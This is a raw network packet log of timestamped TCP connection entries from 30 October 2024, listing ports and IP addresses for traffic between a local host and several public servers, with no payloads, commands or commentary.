Oct 30, 2024 18:06:44.840351105 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.844297886 CET	443	49870	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.845053911 CET	49870	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.845089912 CET	443	49870	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.845552921 CET	49870	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.845561028 CET	443	49870	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.860527039 CET	49863	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.860546112 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.860573053 CET	443	49865	204.79.197.219	192.168.2.5
Oct 30, 2024 18:06:44.860603094 CET	49872	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:44.860614061 CET	443	49872	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:44.861093044 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.861493111 CET	49871	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.861510992 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.861803055 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.862107038 CET	49871	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.862159014 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.862282038 CET	49871	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.870011091 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.870028019 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.870060921 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.870085001 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.870107889 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.870127916 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.870136976 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.870251894 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.875328064 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.875334978 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.879930019 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.879950047 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.880014896 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.880024910 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.880064964 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.883325100 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.890769958 CET	49862	443	192.168.2.5	23.198.7.185
Oct 30, 2024 18:06:44.890786886 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:44.890811920 CET	49864	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.891081095 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.903335094 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:44.919501066 CET	443	49878	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:44.920281887 CET	49878	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:44.920300961 CET	443	49878	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:44.921222925 CET	443	49878	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:44.921298981 CET	49878	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:44.922241926 CET	49878	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:44.922291994 CET	443	49878	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:44.922445059 CET	49878	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:44.926054001 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.928478003 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.928499937 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.928514004 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.928549051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.928550959 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.928563118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.928575039 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.928575039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:44.928622007 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:44.948329926 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.948389053 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:44.950372934 CET	49868	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:44.950387955 CET	443	49868	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:44.963140965 CET	443	49869	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.963211060 CET	443	49869	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.963259935 CET	49869	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.963567019 CET	49869	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.963578939 CET	443	49869	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.966361046 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:44.966375113 CET	49872	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:44.966378927 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:44.966379881 CET	49865	443	192.168.2.5	204.79.197.219
Oct 30, 2024 18:06:44.966397047 CET	49871	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:44.966398001 CET	49878	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:44.966409922 CET	443	49878	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:44.972596884 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.972636938 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.972762108 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.972965002 CET	49885	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:44.972981930 CET	443	49885	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:44.998490095 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.998514891 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.998603106 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:44.998635054 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:44.999296904 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:45.003051996 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.003072977 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.003123045 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.003132105 CET	49871	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.003171921 CET	49871	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.010216951 CET	49871	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.010238886 CET	443	49871	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.010768890 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.010797977 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.010864019 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.015482903 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.015508890 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.024947882 CET	443	49870	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.025008917 CET	443	49870	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.025067091 CET	49870	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.025927067 CET	49870	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.025947094 CET	443	49870	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.025963068 CET	49870	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.025970936 CET	443	49870	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.041981936 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.042025089 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.042339087 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.042546034 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.042557955 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.067702055 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.067724943 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.067740917 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.067790985 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.067814112 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.067868948 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.073883057 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.073904037 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.073911905 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.073935032 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.073971033 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.073973894 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.073982000 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.074003935 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.074028015 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.074028015 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.074055910 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.075207949 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.075229883 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.075265884 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.075284958 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.075310946 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.075328112 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.076102972 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.076172113 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.076571941 CET	443	49876	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.078685999 CET	49876	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.078716040 CET	443	49876	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.079349995 CET	49876	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.079355955 CET	443	49876	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.080698013 CET	443	49877	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.081274033 CET	49877	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.081304073 CET	443	49877	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.081398010 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081419945 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081430912 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081444025 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081445932 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.081456900 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081471920 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081487894 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081497908 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081505060 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.081512928 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081541061 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.081542969 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.081548929 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081558943 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.081589937 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.081617117 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.082325935 CET	49877	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.082333088 CET	443	49877	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.088376045 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088390112 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088407993 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088421106 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088432074 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088443995 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088444948 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088457108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088474035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088484049 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088489056 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088495016 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088502884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088515997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088515997 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088527918 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088541985 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088547945 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088560104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088567972 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088572025 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088578939 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088587046 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088599920 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088606119 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088612080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088624001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088629961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088630915 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088637114 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088649035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088661909 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088673115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088675022 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088682890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088691950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.088715076 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.088737011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.089097977 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089114904 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089128017 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089152098 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.089158058 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089169025 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089178085 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.089195967 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089210033 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.089217901 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089243889 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.089320898 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.089462042 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.089472055 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.096052885 CET	443	49878	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.096139908 CET	49878	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.096844912 CET	49878	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.096880913 CET	443	49878	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.099227905 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.099256039 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.099437952 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.099647045 CET	49889	443	192.168.2.5	18.245.113.126
Oct 30, 2024 18:06:45.099662066 CET	443	49889	18.245.113.126	192.168.2.5
Oct 30, 2024 18:06:45.105870008 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:45.105952978 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:45.105979919 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:45.106007099 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:45.106020927 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:45.106074095 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:45.106101036 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:45.106225967 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:45.106281042 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:45.108918905 CET	49861	443	192.168.2.5	4.152.133.8
Oct 30, 2024 18:06:45.108928919 CET	443	49861	4.152.133.8	192.168.2.5
Oct 30, 2024 18:06:45.119340897 CET	443	49879	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.131145954 CET	49879	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.131159067 CET	443	49879	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.132819891 CET	49879	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.132826090 CET	443	49879	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.143981934 CET	443	49880	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.144289017 CET	49880	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.144306898 CET	443	49880	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.144645929 CET	443	49880	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.144972086 CET	49880	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.145020962 CET	443	49880	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.145486116 CET	49880	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.146226883 CET	443	49881	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.146440983 CET	49881	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.146457911 CET	443	49881	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.147444010 CET	443	49881	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.147519112 CET	49881	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.147844076 CET	49881	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.147895098 CET	443	49881	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.147979021 CET	49881	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.154988050 CET	443	49884	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.155251026 CET	49884	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.155267000 CET	443	49884	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.156150103 CET	443	49884	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.156223059 CET	49884	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.156569004 CET	49884	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.156625032 CET	443	49884	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.156713963 CET	49884	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.156721115 CET	443	49884	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.167309046 CET	443	49882	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.167649984 CET	49882	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.167665958 CET	443	49882	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.169203043 CET	443	49882	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.169282913 CET	49882	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.170128107 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.171375990 CET	49882	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.171566963 CET	443	49882	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.171780109 CET	49882	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.171787024 CET	443	49882	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.187328100 CET	443	49880	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.190284967 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.190315962 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.190391064 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.190418959 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.190459967 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.190757036 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.190815926 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.190825939 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.190838099 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.190856934 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.190892935 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.191308975 CET	49873	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.191334963 CET	443	49873	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.191339016 CET	443	49881	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.191454887 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.191508055 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.191544056 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.191570044 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.191584110 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.191613913 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.191622019 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.191627979 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.191662073 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.192281008 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.192296982 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.193839073 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.193927050 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.194365025 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.194436073 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.194683075 CET	49883	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.194696903 CET	443	49883	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.194865942 CET	49874	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.194879055 CET	443	49874	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.200575113 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.200589895 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.200612068 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.200620890 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.200642109 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.200649977 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.200650930 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.200695992 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.207200050 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.207212925 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.207232952 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.207252026 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.207271099 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.207295895 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.207333088 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.207350969 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.208154917 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.208178043 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.208226919 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.209292889 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.209309101 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.209330082 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.209357977 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.209368944 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.209383965 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.209409952 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.209450960 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.209619045 CET	49875	443	192.168.2.5	23.47.50.173
Oct 30, 2024 18:06:45.209633112 CET	443	49875	23.47.50.173	192.168.2.5
Oct 30, 2024 18:06:45.214135885 CET	443	49876	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.214221001 CET	443	49876	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.214273930 CET	49876	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.214514971 CET	49876	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.214526892 CET	443	49876	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.214540958 CET	49876	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.214545965 CET	443	49876	13.107.253.45	192.168.2.5
